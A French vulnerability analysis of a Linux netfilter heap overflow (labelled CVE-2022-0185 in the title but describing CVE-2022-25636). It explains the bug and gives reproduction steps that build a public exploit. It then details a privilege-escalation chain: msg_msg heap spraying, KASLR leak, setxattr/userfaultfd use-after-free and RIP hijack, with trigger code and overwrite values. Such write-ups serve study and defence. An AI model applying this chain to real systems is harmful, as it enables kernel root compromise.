
Analyse de CVE-2022-0185
[toc]
Identifiant de la vulnérabilité : CVE-2022-25636
Produit vulnérable : linux kernel - netfilter
Versions affectées : linux kernel 5.4 ~
Impact : le module noyau netfilter présente une écriture hors limites dans le tas, permettant une élévation de privilèges avec SYS_ADMIN.
La vulnérabilité se trouve dans le module noyau netfilter, le code concerné se situe dans 3 fichiers .ko.
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
Démarrer directement avec qemu pose problème, les modules .ko ne se chargent pas ; utiliser VMware en débogage sur deux machines.
Ubuntu 21.10 permet de remplacer manuellement le noyau :
apt-get install linux-image-5.13.0-30-generic
Retirez ensuite le noyau d'origine et compilez l'exploit :
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
Effet de l'élévation de privilèges (taux de réussite inférieur à 50 %) :

La fonction concernée est nft_fwd_dup_netdev_offload :
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
Lors de l'écriture dans flow->rule->action.entries (cette structure est de longueur variable), aucune vérification des limites du tas n'est effectuée, ce qui conduit à une écriture hors limites d'un entier (4 ou 5) et d'un pointeur.
La fonction est utilisée dans nft_flow_rule_create :
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions 初始化为0 ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {//根据rule数量调用offload
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
On voit que la fonction nft_flow_rule_create alloue la structure flow en fonction du nombre de structures règle transmises depuis l'espace utilisateur, puis les traite. La variable num_actions est utilisée pour compter, mais pendant le comptage, seules les règles portant le flag NFT_OFFLOAD_F_ACTION sont comptées, et la taille de la structure allouée est basée sur ce nombre. Ensuite, lors du traitement via offload, la boucle n'utilise pas num_actions. Elle boucle comme auparavant sur le nombre de règles, mais sans vérifier à nouveau le flag NFT_OFFLOAD_F_ACTION. Autrement dit, lorsque les règles transmises contiennent des règles sans le flag NFT_OFFLOAD_F_ACTION, le nombre d'appels à offload est supérieur au nombre d'entrées flow->rule->action.entries précédemment allouées. Dans offload, la fonction vulnérable nft_fwd_dup_netdev_offload est appelée, étant initialisé à 0 est incrémenté à chaque appel, et à la fin dépasse la plage du tableau , provoquant un débordement.
Quelques structures :
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
Pile d'appels :
Référence : https://www.openwall.com/lists/oss-security/2022/02/21/2
Ce courriel explique comment utiliser netfilter avec les bibliothèques C libmnl et libnftnl. Le point clé pour déclencher la vulnérabilité est de savoir si les règles ajoutées portent le flag NFT_OFFLOAD_F_ACTION. Seules les règles créées par nftnl_expr_alloc("immediate"); portent le flag NFT_OFFLOAD_F_ACTION :
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
L'exploitation n'est pas très stable, mais la technique utilisée est très ingénieuse. La vulnérabilité permet d'écrire un pointeur non contrôlé à un décalage fixe hors limites ; personnellement, je considère que l'exploitation est très difficile. Analysons brièvement la méthode. D'après le code de la vulnérabilité, on sait que chaque écriture hors limites ne peut écrire qu'un entier (id, fixé à 4 ou 5) et un pointeur (*dev), ce pointeur pointant vers la structure struct net_device. Ici, nous nous concentrons uniquement sur l'écriture du pointeur dev :
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
··· ···
}
Concernant la structure struct flow_rule, comme il s'agit d'une structure de longueur variable, la plage de tailles pouvant être allouées détermine la réussite de l'exploitation.
Structures associées :
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_match {
struct flow_dissector *dissector;
void *mask;
void *key;
};
struct flow_dissector {
unsigned int used_keys; /* each bit repesents presence of one key id */
unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {//大小0x50
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
Pour commencer l'exploitation, il faut d'abord divulguer l'adresse de *dev à deux reprises. Comme deux adresses dev différentes sont nécessaires, l'une est divulguée dans le processus courant et l'autre dans un processus enfant. La fuite utilise msg_msg (rappel de la technique msg_msg). On fait un heap spray de messages de taille 0x1040 ; de par la structure de msg, chaque message est divisé en deux segments. Le deuxième segment a une longueur de 0x70 ; avec l'en-tête, il est alloué dans kmalloc-128. On libère ensuite un message, ce qui libère un kmalloc-128. On utilise alors la structure flow_rule avec une seule règle, qui correspond aussi à kmalloc-128, en espérant obtenir le deuxième segment kmalloc-128 du message libéré, afin de former l'agencement de tas suivant :

Une fois que flow_rule a obtenu la structure msg_msgseg libérée, il y a une forte probabilité qu'elle soit adjacente à d'autres msg_msgseg issus du heap spray. Ainsi, une écriture hors limites écrit un pointeur de tas net_device (pointeur dev) à l'offset 0x8 hors limites. Il suffit de recevoir tous les messages du heap spray pour lire ce pointeur de tas, ce qui complète la fuite d'adresse pour l'exploitation ultérieure, sans crash.
Ensuite, fuyons KASLR pour obtenir l'adresse de base du noyau. Avec la même méthode, on utilise msg_msg + heap spray ; on effectue un heap spray de messages kmalloc-192. Cette fois, on utilise le premier segment de msg_msg comme cible du heap spray. Puis, comme précédemment, on en libère un, on alloue un flow_rule, en espérant former l'agencement de tas suivant :

Cette fois, on utilise la structure flow_rule avec deux règles, de taille 0xC0, appartenant exactement à kmalloc-192. Si l'écriture hors limites se produit six fois, un pointeur * dev est écrit à l'offset 0x18+0x50*5 hors limites, c'est-à-dire à l'offset 0x28 du troisième kmalloc-192 en dessous. S'il s'agit d'une structure msg_msg, c'est le pointeur security. Si l'on utilise alors la fonction msgrcv pour libérer cette structure msg_msg, elle appellera kfree, libérant le contenu pointé par le pointeur security. C'est aussi la primitive de libération à adresse arbitraire de msg_msg->security . Le code associé est le suivant :
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
··· ···
free_msg(msg);
··· ···
}
void free_msg(struct msg_msg *msg)
{
··· ···
security_msg_msg_free(msg);
··· ···
}
void security_msg_msg_free(struct msg_msg *msg)
{
call_void_hook(msg_msg_free_security, msg);
kfree(msg->security);
msg->security = NULL;
}
Ainsi, en recevant les messages du heap spray, on libère le pointeur dev qui a recouvert security, c'est-à-dire que l'on libère la structure net_device. Ensuite, on utilise setxattr + userfaulted pour tenter de modifier ce bloc de tas, réalisant ainsi une UAF. setxattr permet d'allouer un bloc de tas noyau de taille arbitraire, d'y écrire un contenu arbitraire, puis de le libérer. C'est une technique courante dans l'exploitation de vulnérabilités noyau.
Comme il y a de nombreux kmalloc-192 libres dans le noyau, un seul appel à setxattr ne suffit pas. On utilise donc plusieurs threads appelant setxattr simultanément, et on se sert d'userfaulted pour allonger la durée des appels, augmentant ainsi le temps d'occupation des blocs, afin d'allouer davantage de blocs de tas noyau et d'obtenir finalement la structure net_device libérée. Une fois obtenue, on peut modifier le contenu de la structure net_device : on remplace le pointeur dev_addr par le pointeur netdev_ops, car netdev_ops est initialisé à loopback_ops ; on modifie ensuite des éléments comme le nom pour vérifier si la modification a réussi :
((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
Ensuite, il suffit d'appeler la fonction SIOCGIFHWADDR de ioctl sur un socket pour lire l'adresse physique, ce qui permet de lire l'adresse de loopback_ops et de compléter la fuite. Voici quelques membres utiles de net_device :
struct net_device {
char name[IFNAMSIZ]; //修改name判断是否改正确
··· ···
const struct net_device_ops *netdev_ops;//初始化为,用于泄露内核地址
int ifindex;
·· ···
const struct ethtool_ops *ethtool_ops; //用于劫持rip
··· ···
unsigned char addr_len; //用于读取地址长度
··· ···
unsigned char *dev_addr; //篡改用于泄露地址,被SIOCGIFHWADDR 读取
};
Avec la même méthode, on utilise setxattr + userfaulted pour réaliser une UAF. Cette fois, une fois que l'on dispose de l'adresse du noyau, on modifie directement ethtool_ops de net_device pour détourner eip, puis on utilise la fonction SIOCETHTOOL de iotl d'un socket ; cela appelle une fonction dans ethtool_ops, permettant de détourner rip, puis il suffit d'exécuter un ROP. La reproduction a réussi sur ubuntu21.10 avec la version de noyau 13.0-30 :
Exploit : https://github.com/Bonfee/CVE-2022-25636

Courriel : https://www.openwall.com/lists/oss-security/2022/02/21/2
Documentation de l'auteur : https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/
Exploit : https://github.com/Bonfee/CVE-2022-25636
ctx->num_actionsctx->num_actionsflow->rule->action.entries